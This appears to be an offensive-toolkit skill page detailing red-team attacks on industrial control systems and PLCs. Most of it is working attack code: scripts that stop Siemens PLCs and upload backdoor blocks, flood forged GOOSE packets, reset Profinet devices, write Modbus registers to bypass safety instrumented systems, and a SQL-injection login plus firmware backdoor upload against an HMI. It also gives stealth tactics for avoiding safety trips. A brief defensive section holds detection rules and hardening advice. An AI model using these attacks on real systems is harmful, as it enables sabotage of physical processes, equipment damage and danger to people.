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cps-attack Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs).
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5 fichiers Defensive deception and honeypot deployment covering SSH/Telnet (Cowrie), web (OpenCanary), enterprise (HFish), ICS/SCADA (Conpot), all-in-one (T-Pot), AI-driven deception (Beelzebub), Thinkst Canarytokens (DNS, HTTP, file, AWS API key, SQL), Dionaea multi-protocol honeypot, notification pipelines (Slack/Teams webhooks), false positive tuning, and attacker engagement — including lure design, deployment OPSEC, IOC extraction, and attacker attribution.
Métiers associés SOC
Basé sur la classification professionnelle SOC
name cps-attack description Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs). origin kali-claw Wave 10 (v0.1.41) — 2026-06-28 version 0.2.0.2 compatibility {"kali_version":"2025.2","python_version":">=3.11"} allowed-tools ["nmap","wireshark","scapy","mitmproxy","python3","plcscan","redpoint","claroty","bedrock","mbpoll","plc4x","opendnp3","node-red","metasploit","gamma"] metadata {"domain":"industrial-control-systems","tool_count":15,"guide_count":2,"mitre":"TA0040-Impact, TA0008-Lateral Movement, TA0009-Collection, T0817-Drive-by Compromise, T0859-Valid Accounts, T0886-Exploitation of Remote Services, T0890-Exploitation for Privilege Escalation, T0808-Activate Firmware, T0884-Connection Proxy, T0858-Change Operating Mode","last_reviewed":"2026-07-26"}
Cyber-Physical Systems (CPS) Attack Skill
Red-team operations against Industrial Control Systems at the protocol and field-device level. This skill goes deep on PLC firmware, ICS protocol abuse, packet replay, and OT-to-IT pivot — distinct from the broader scada-ics-security skill which covers general ICS methodology.
Summary
Cyber-Physical Systems (CPS) bridge the digital and physical worlds: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices), HMIs (Human Machine Interfaces), and the industrial protocols they speak. These systems control power grids, water treatment, oil & gas pipelines, manufacturing lines, building automation (BACnet), and increasingly vehicle infrastructure (V2X, traffic control).
The 2024-2025 threat landscape for CPS attacks is dominated by:
Unitronics PLC attack (Nov 2023) — Iranian threat group attacked water utilities in USPipedream / Incontroller (2022-2024) — purpose-built ICS malware by SandwormIndustroyer2 (2022-2024) — Russia's grid-attack malware, refinedFrostyGoop (2024) — Modbus-based attack on heating systemsHMI web server CVEs — Schneider, Rockwell, Siemens all disclosed critical RCEOPC UA auth bypass (CVE-2024-5464) — affects every modern SCADA system
This skill covers:
Protocol-level PLC attacks — Modbus (no auth, no encryption), DNP3 (auth rarely enabled), Profinet, EtherNet/IP, IEC 61850 (GOOSE manipulation), OPC UA (auth bypass)PLC firmware exploitation — Siemens S7-1500, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSECHMI web server RCE — common pattern across all major vendorsEngineering workstation compromise — TIA Portal, Studio 5000, EcoStruxure, GX WorksSCADA historian abuse — bulk data exfil via ODBCSIS (Safety Instrumented System) bypass — the most dangerous attack vectorOT-to-IT pivot — using OT network as bridge to corporate ITVehicle infrastructure attacks — V2X, traffic signal control, EV charging
Distinct from adjacent skills:
Skill Scope scada-ics-securityGeneral ICS methodology, recon, Nmap scripts, broad vendor coverage
automotive-vehicle-securityIn-vehicle CAN bus, OBD-II, ECUs
embedded-rtos-securityRTOS / firmware analysis on embedded devices
cps-attackField-device level : PLC programming, ICS protocol injection, SIS bypass, physical-process manipulation
Use Cases
Reconnaissance & Discovery
Identify PLC vendor / model via passive sniffing (Profinet LLDP, CIP Identity)Enumerate Modbus registers via mbpoll / plcscanDiscover DNP3 outstations via broadcastFind HMI web servers via Shodan / CensysMap OPC UA endpoints via GetEndpoints requestIdentify IEC 61850 IEDs via MMS enumerationLocate engineering workstation (TIA Portal, Studio 5000)
Initial Access
Modbus TCP unauth — open TCP 502 with no auth (default)DNP3 unauth — open TCP 20000 with no authHMI web RCE — CVE chain on Schneider, Rockwell, Siemens HMIEngineering workstation phishing — TIA Portal project file as payloadOPC UA anon access — GetEndpoints → enumerate → connect as anonProfinet device impersonation — spoof LLDP to redirect trafficVendor remote support — backdoor in vendor VPN / TeamViewer
Privilege Escalation
PLC STOP/RUN mode change — halt physical processPLC program download — overwrite control logicFirmware replacement — flash malicious firmware to PLCSIS force — override safety logic (catastrophic)HMI-to-PLC escalation — HMI credentials reused on PLCEngineering workstation admin — local admin via TIA Portal cache
Persistence
Hidden function block — add stealth block to PLC programBackdoor HMI account — admin user on HMI webPersistence via OPC UA rogue server — MITM all OPC UA trafficSCADA historian backdoor — SQL injection in vendor app
Defense Evasion
Force read-only mode on HMI — operators can't see changesSpoof sensor values — Modbus write to input registersDisable alarm thresholds — modify alarm config in HMITime-synchronized attack — revert PLC program at exact moment to evade comparisonPLC program obfuscation — obscure ladder logic to slow IR
Collection & Exfiltration
Modbus register bulk read — full process stateSCADA historian ODBC dump — years of historical dataOPC UA bulk browse — entire tag databaseHMI screen scrape — current operator viewEngineering workstation project file theft — full PLC program source
Impact
PLC STOP — halt physical process; operators lose controlSensor spoofing + actuator override — physical damage without alarmSafety logic bypass — defeat SIS protectionOperator UI freeze — show "all OK" while process runs wildPhysical equipment damage — pump cavitation, motor burnout, pipe ruptureEnvironmental release — chemical spill, water contamination
Core Tools
Field Device Targets Vendor Product Protocol Notes Siemens S7-1200, S7-1500, S7-300 S7comm, S7comm-Plus, Profinet Dominant European Rockwell Automation ControlLogix, CompactLogix, MicroLogix EtherNet/IP, CIP Dominant US Schneider Electric Modicon M340, M580, Quantum Modbus, Modbus Plus, EtherNet/IP Strong in oil/gas Mitsubishi MELSEC iQ-R, iQ-F, Q-Series MELSEC, SLMP Strong in APAC Omron CJ, CP, NX, NJ-series FINS, EtherCAT Mid-tier globally ABB AC500, AC800M, AC500-eCo Profinet, DNP3, IEC 61850 Power utilities B&R Automation X20, ACOPOS POWERLINK Manufacturing Beckhoff CX, TwinCAT EtherCAT, ADS Discrete manufacturing Wago PFC, 750-series Modbus, EtherNet/IP Building automation Unitronics Vision, Samba, UniStream Modbus, UniAPI SMB / water Yokogawa CENTUM, STARDOM DNP3, Modbus, Vnet Process industries
ICS Protocols Protocol Port Auth Encryption Notes Modbus TCP 502 None None Universal, but trivial to abuse Modbus RTU serial None None RS-485 / RS-232 DNP3 20000 Optional (v5+) Optional Power utility DNP3-secure 20000 Yes (Aggressive Mode) TLS Rare in field Profinet - None None Layer 2, real-time Profinet DCP - Configurable None Device config EtherNet/IP 44818, 2222 None None CIP over TCP/UDP CIP - None / Class-based None Common Industrial Protocol OPC UA 4840 Optional (UserToken) Optional (TLS) Modern, secure-by-config IEC 61850 MMS 102 Optional None Substation comms IEC 61850 GOOSE - None None Layer 2 multicast IEC 60870-5-104 2404 None None Power utility (Europe) BACnet 47808 None None Building automation LonTalk - None None Building automation HART - None None Field instrument FF H1 / HSE - None None Foundation Fieldbus EtherCAT 34980 None None Motion control
Offensive Toolkit
nmap -sV --script=modbus-discover,modbus-brute,enip-info,bacnet-info -p 502,44818,47808,20000,4840 10.0.0.0/24
plcscan 10.0.0.0/24
claroty-edge-cli device-list
mbpoll -m tcp -a 1 -r 0 -c 10 10.0.0.5
mbgetest -a 10.0.0.5 -r 1 -c 100
plc4x snapshot
opendnp3-demo
opcua-cli browse opc.tcp://10.0.0.5:4840
scapy
mitmproxy --mode transparent
wireshark
snap7-server
s7-client
rslinx
ethip-client
modicon-scan
opcua-cli
node-opcua
msfconsole
> use auxiliary/scanner/scada/modbusclient
> use auxiliary/scanner/scada/modbus_findunitid
> use auxiliary/admin/scada/modicon_stuxft
redpoint
mehari
cyphon
conpot
mih
Methodology
Phase 1 — Recon (OT Network Discovery) OT networks are often air-gapped (or "air-gapped") — but rarely. Identify:
PLC vendor + model + firmware
HMI vendor + software version
Engineering workstation + vendor software (TIA Portal, Studio 5000)
SCADA historian + DB backend
Network topology (often flat L2)
tcpdump -i eth0 -w ot.pcap
nmap -sn 10.0.0.0/24 -T1
nmap -sV --script=bacnet-info,enip-info,modbus-discover -p 502,44818,47808,20000,4840,102 10.0.0.0/24
python3 kali_cip_identity.py --target 10.0.0.5
Phase 2 — Protocol Probe
mbpoll -m tcp -a 1 -r 0 -c 100 10.0.0.5
for uid in $(seq 1 250); do
mbpoll -m tcp -a $uid -r 0 -c 1 -t 3 10.0.0.5 2>/dev/null | grep -q '\[' && echo "Unit ID $uid active"
done
nmap --script enip-info -p 44818 10.0.0.5
opcua-cli endpoints opc.tcp://10.0.0.5:4840
opcua-cli browse opc.tcp://10.0.0.5:4840 --user anon --pass ''
opendnp3-demo master --remote 10.0.0.5:20000
Phase 3 — Initial Access Common OT initial-access vectors:
HMI web RCE — vendor HMI ships with web admin; common RCE CVEsEngineering workstation phishing — TIA Portal / Studio 5000 project as lureRemote vendor support — TeamViewer / vendor VPNModbus unauth — direct TCP 502 accessOT-to-IT bridge — DMZ host with both network interfaces
Phase 4 — PLC Exploitation
PLC STOP — halt controllerRead PLC program — ladder logic / function blockModify program — insert backdoor blockDownload new program — overwriteForce sensor values — Modbus write to inputs
Phase 5 — HMI / SCADA Compromise
HMI web RCE → server shell
HMI DB → SCADA historian
HMI config → operator passwords (often cleartext)
Phase 6 — Engineering Workstation The engineering workstation holds:
PLC program source (full ladder logic)
Vendor credentials for all PLCs
HMI configuration
Historian DB credentials
Phase 7 — SIS Bypass Safety Instrumented Systems (SIS) protect against catastrophic failure. Attackers bypass SIS to enable physical damage.
Force SIS logic — modify SIS PLC programBypass SIS via HMI — operator overrideSpoof SIS inputs — Modbus write to SIS input registersSIS firmware rootkit — flash malicious SIS firmware
Phase 8 — OT-to-IT Pivot
Engineering workstation dual-homed — both OT and IT NICsHistorian DB link — ODBC to IT data warehouseVendor remote support — pivot through vendor VPNDMZ jump host — often has reach into both
Practical Steps
Step A — Identify PLC via CIP Identity (EtherNet/IP) import socket, struct
def cip_identity (ip ):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 44818 ))
cmd = 0x0065
length = 0
session = 0
header = struct.pack('<HHII' , cmd, length, session, 0 )
body = struct.pack('<II' , 1 , 0 )
msg = header + body
s.send(msg)
r = s.recv(1024 )
session = struct.unpack('<I' , r[4 :8 ])[0 ]
cmd = 0x0063
msg = struct.pack('<HHII' , cmd, 0 , session, 0 )
s.send(msg)
r = s.recv(2048 )
print (f'{ip} : {r!r} ' )
for ip in ['10.0.0.1' , '10.0.0.2' , '10.0.0.3' ]:
cip_identity(ip)
Step B — Modbus register enumeration
from pyModbusTCP.client import ModbusClient
c = ModbusClient(host='10.0.0.5' , port=502 )
c.open ()
for uid in range (1 , 248 ):
c.unit_id = uid
regs = c.read_holding_registers(0 , 10 )
if regs is not None :
print (f'Unit {uid} active: {regs} ' )
c.unit_id = 1
for block_start in range (0 , 65536 , 100 ):
regs = c.read_holding_registers(block_start, 100 )
if regs:
non_zero = [(block_start + i, v) for i, v in enumerate (regs) if v != 0 ]
if non_zero:
print (f'Block {block_start} : {non_zero[:5 ]} ' )
c.write_single_register(40001 , 1337 )
Step C — HMI web RCE (Schneider example)
curl -sk -X POST https://hmi.example.com/api/login \
-d '{"username":"admin","password":"' OR 1=1 --"}' \
-H " Content-Type: application/json"
# Once logged in as admin:
# Upload malicious firmware via /api/firmware/upload
curl -sk -X POST https://hmi.example.com/api/firmware/upload \
-H " Authorization: Bearer $TOKEN " \
-F " file=@backdoor.bin"
Step D — PLC STOP via S7comm from snap7.client import Client
c = Client()
c.connect('10.0.0.5' , 0 , 1 )
state = c.get_cpu_state()
print (f'CPU state: {state} ' )
c.plc_stop()
print (f'After stop: {c.get_cpu_state()} ' )
print (c.get_plc_time())
print (c.list_blocks())
with open ('backdoor_block.bin' , 'rb' ) as f:
block_data = f.read()
c.upload(db_number=99 , data=block_data)
Step E — OPC UA anon browse
opcua-cli browse opc.tcp://10.0.0.5:4840
opcua-cli endpoints opc.tcp://10.0.0.5:4840 | jq '.[] | {securityPolicyUri, securityMode}'
opcua-cli read opc.tcp://10.0.0.5:4840 --user anon \
--node "ns=2;s=ProductionData.Password"
Step F — IEC 61850 GOOSE manipulation
from scapy.all import *
load_layer('goose' )
packet = (
Ether(dst='01:0c:cd:01:00:01' ) /
GOOSE(appID=0x0001 , gooseDatSet='LD0/LLN0$dsGeneric' ,
gooseRef='LD0/LLN0$generic' ,
stNum=2 , sqNum=1 ,
gooseData=[1 ])
)
sendp(packet, iface='eth0' , loop=1 , inter=0.001 )
Step G — Profinet DCP device reset
from scapy.all import Ether, sendp
ether = Ether(dst='01:0e:cf:00:00:00' ) / ProfinetDCPIdentifyAll()
sendp(ether)
ether = Ether(dst='01:0e:cf:00:00:00' ) / ProfinetDCPReset(name='name-not-set' )
sendp(ether)
Step H — Engineering workstation compromise
find / -name '*.ap14' -o -name '*.ap15' -o -name '*.ap16' -o -name '*.ap17' 2>/dev/null
find / -name '*.ac14' -o -name '*.ac15' 2>/dev/null
find / -name '*.ACD' -o -name '*.MER' 2>/dev/null
python3 kali_tia_project_parser.py --project /path/to/proj.ap17
grep -aE '(Password|PASS)' /path/to/proj.ap17 | strings | head
Step I — SCADA historian ODBC dump
nmap -p 1433,5450 scada-db.example.com
sqsh -S scada-db.example.com -U historian_user -P REPLACE_WITH_YOUR_PW
1> SELECT TOP 100 * FROM History WHERE TagName LIKE 'Temp%' ORDER BY Timestamp DESC
2> go
Step J — SIS bypass via Modbus
c = ModbusClient(host='10.0.0.50' , port=502 )
c.open ()
c.unit_id = 1
c.write_single_register(30001 , 5000 )
Defense Perspective
Detection Passive OT monitoring (preferred)
Claroty, Dragos, Nozomi passive traffic analysis
Zeek with industrial protocol analyzers
Suricata with ICS ruleset
Nmap NSE for OT (rate-limited)
Vendor-specific CLI (Profinet DCP scan)
Sigma rules for OT events
title: Modbus write to input register (sensor spoofing)
logsource:
product: ot
service: zeek-modbus
detection:
selection:
func: write_single_register
address|re: ^3[0-9]{4}$
condition: selection
level: critical
title: OPC UA anonymous access
logsource:
product: opcua
service: server
detection:
selection:
user: anonymous
operation|re: read|write|browse
condition: selection
level: high
title: PLC STOP from non-Engineering-Workstation
logsource:
product: ot
service: s7
detection:
selection:
pdu: plcstop
notEWS:
src|re: !^10\.0\.0\.10$
condition: selection and notEWS
level: critical
Hardening
Purdue Model — clear separation of L0-L3 (Devices → Process Control → Supervisory → Site Ops) from L4 (Enterprise)DMZ jump host — single, monitored entry pointNetwork segmentation — per-process VLANs; deny east-west by defaultProtocol security — DNP3-secure, OPC UA with security policy, Modbus Gateway with authEngineering workstation hardening — no email, no internet, no removable media (often violated)PLC firmware patching — within 90 days (OT slower than IT but CVEs are critical)Vendor remote access —bastion host, session recording, MFAHMI web — disabled by default; if enabled, behind VPNSIS isolation — completely separate network from BPCS (Basic Process Control System)Continuous monitoring — passive traffic analysis for baseline deviation
Incident Response When OT compromise suspected:
DO NOT scan — active scanning can crash fragile PLCsCapture traffic — passive capture to retain evidenceIsolate — switch port disable on suspect device; do not power off PLCStop engineering workstation — unplug from networkSwitch to manual — if available, operators run process manuallyInvoke vendor — Siemens CERT, Rockwell PSIRT, Schneider CERTForensics — pull HMI logs, engineering workstation image, traffic captureRestore — last-known-good PLC program; verify before downloadPost-mortem — Purdue Model adherence review, network architecture audit
Detection Methods
ICS/SCADA Protocol Anomalies
Modbus abuse : Unsolicited Modbus write commands (function code 0x05, 0x06, 0x10); non-PLC source.DNP3 anomalies : Unsolicited DNP3 responses; out-of-sequence application layer fragments.EtherNet/IP (CIP) : CIP messages to non-CPU modules; unusual path segments.PROFINET DCP abuse : DCP write requests to device name; identify spoofing.BACnet anomalies : Who-Is/I-Am floods; COV subscription abuse.
Physical Process Anomalies
Setpoint manipulation : Process variable diverging from setpoint; actuator commands exceeding safety range.Safety system trip : SIS (Safety Instrumented System) activation; indicates process upset.Historian data gaps : Missing historian data during specific time window; potential attack window.Process upset cascade : Multiple alarms in short window; signature of cyber-induced incident.
SIEM Detection Rules
Splunk SPL (ICS) : index=modbus function_code IN (5,6,15,16) | stats count by src_ip, unit_idDragos / Nozomi Guardian : Native OT security platform detections.Claroty CTD : Cyber threat detection for OT environments.
Defense Evasion Techniques
Protocol-Level Stealth
Mimic legitimate master : Use PLC's legitimate master IP; match timing/sequence of normal commands.Passive reconnaissance : Sniff Modbus/DNP3 to learn protocol patterns before injecting.Single-shot attack : Send one malicious command (e.g., open breaker) rather than sustained abuse.Off-hours operation : Execute during maintenance windows; blends with legitimate activity.
Physical Effect Stealth
Gradual setpoint change : Change setpoint slowly (1-2% per minute); avoids trip alarms.Sensor spoofing : Send false sensor values to historian; mask physical effect.Safety bypass : Disable safety system before main attack; avoids SIS trip.
Air-Gap Crossing
Removable media : Stuxnet-style USB propagation across air gap.Insider threat : Use compromised engineer laptop that crosses air gap.Vendor remote access : Use legitimate vendor VPN credentials; bypass air gap.Optical/acoustic covert channels : Speaker/microphone for low-bandwidth air-gap crossing.
References 